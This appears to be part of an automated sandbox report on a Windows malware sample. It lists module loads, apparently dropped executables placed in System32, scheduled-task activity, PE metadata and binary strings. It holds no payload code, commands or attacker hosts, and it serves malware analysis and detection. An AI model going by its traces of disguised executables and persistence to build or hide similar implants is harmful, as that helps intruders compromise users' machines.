Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libcurl.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libpq.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libssl-3-x64.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libcrypto-3-x64.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libintl-9.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libcrypto-3-x64.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: zlib1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libwinpthread-1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: libiconv-2.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: libcurl.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: zlib1.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: libcurl.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: zlib1.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\console_zero.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\crypti.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Ld0f3NDosJ.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Ld0f3NDosJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Ld0f3NDosJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Ld0f3NDosJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Ld0f3NDosJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Ld0f3NDosJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Ld0f3NDosJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Ld0f3NDosJ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Ld0f3NDosJ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Program Files\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, 0000003B.00000002.2613047508.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdbGG source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb source: pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb,,, source: pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb## source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363092235.00007FFDA553F000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000003B.00000002.2612916762.00007FFDA553F000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libcrypto-3-x64.pdb source: pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362305807.00007FFD93B8B000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdbJJ source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363092235.00007FFDA553F000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000003B.00000002.2612916762.00007FFDA553F000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: ucrtbased.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb{{ source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: PrintUI.pdb source: usvcinsta64.exe, 00000018.00000003.2501497770.0000025D7065E000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 00000028.00000002.2603343739.00007FF68C622000.00000002.00000001.01000000.00000009.sdmp, printui.exe, 00000028.00000000.2502474138.00007FF68C622000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: PrintUI.pdbGCTL source: usvcinsta64.exe, 00000018.00000003.2501497770.0000025D7065E000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 00000028.00000002.2603343739.00007FF68C622000.00000002.00000001.01000000.00000009.sdmp, printui.exe, 00000028.00000000.2502474138.00007FF68C622000.00000002.00000001.01000000.00000009.sdmp

Source: Ld0f3NDosJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Ld0f3NDosJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Ld0f3NDosJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Ld0f3NDosJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Ld0f3NDosJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\svchost.exe

Code function: 53_2_00007FFDA55BB470 WSAStartup,WSACleanup,GetModuleHandleW,GetProcAddress,wcspbrk,LoadLibraryW,GetProcAddress,LoadLibraryW,GetSystemDirectoryW,malloc,GetSystemDirectoryW,LoadLibraryW,free,GetProcAddress,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,QueryPerformanceFrequency,

53_2_00007FFDA55BB470

Source: Ld0f3NDosJ.exe	Static PE information: section name: .fptable
Source: hardsvcupdt[1].exe.3.dr	Static PE information: section name: .fptable
Source: pyld64.exe.3.dr	Static PE information: section name: .fptable
Source: usvcinsta64.exe.14.dr	Static PE information: section name: .fptable
Source: printui.dll.24.dr	Static PE information: section name: .fptable
Source: libwinpthread-1.dll.40.dr	Static PE information: section name: .xdata
Source: console_zero.exe.40.dr	Static PE information: section name: .fptable
Source: vcruntime140d.dll.40.dr	Static PE information: section name: _RDATA
Source: libiconv-2.dll.40.dr	Static PE information: section name: .xdata
Source: libiconv-2.dll.40.dr	Static PE information: section name: /4
Source: libiconv-2.dll.40.dr	Static PE information: section name: /19
Source: libiconv-2.dll.40.dr	Static PE information: section name: /31
Source: libiconv-2.dll.40.dr	Static PE information: section name: /45
Source: libiconv-2.dll.40.dr	Static PE information: section name: /57
Source: libiconv-2.dll.40.dr	Static PE information: section name: /70
Source: libiconv-2.dll.40.dr	Static PE information: section name: /81
Source: libiconv-2.dll.40.dr	Static PE information: section name: /92
Source: libintl-9.dll.40.dr	Static PE information: section name: .xdata
Source: libintl-9.dll.40.dr	Static PE information: section name: /4
Source: libintl-9.dll.40.dr	Static PE information: section name: /19
Source: libintl-9.dll.40.dr	Static PE information: section name: /31
Source: libintl-9.dll.40.dr	Static PE information: section name: /45
Source: libintl-9.dll.40.dr	Static PE information: section name: /57
Source: libintl-9.dll.40.dr	Static PE information: section name: /70
Source: libintl-9.dll.40.dr	Static PE information: section name: /81
Source: libintl-9.dll.40.dr	Static PE information: section name: /92
Source: x543664.dat.40.dr	Static PE information: section name: .fptable

Source: C:\Windows\System32\svchost.exe	Code function: 53_2_649487B2 push r11; ret	53_2_649487ED
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_660224A8 push rax; retf	53_2_660224B1
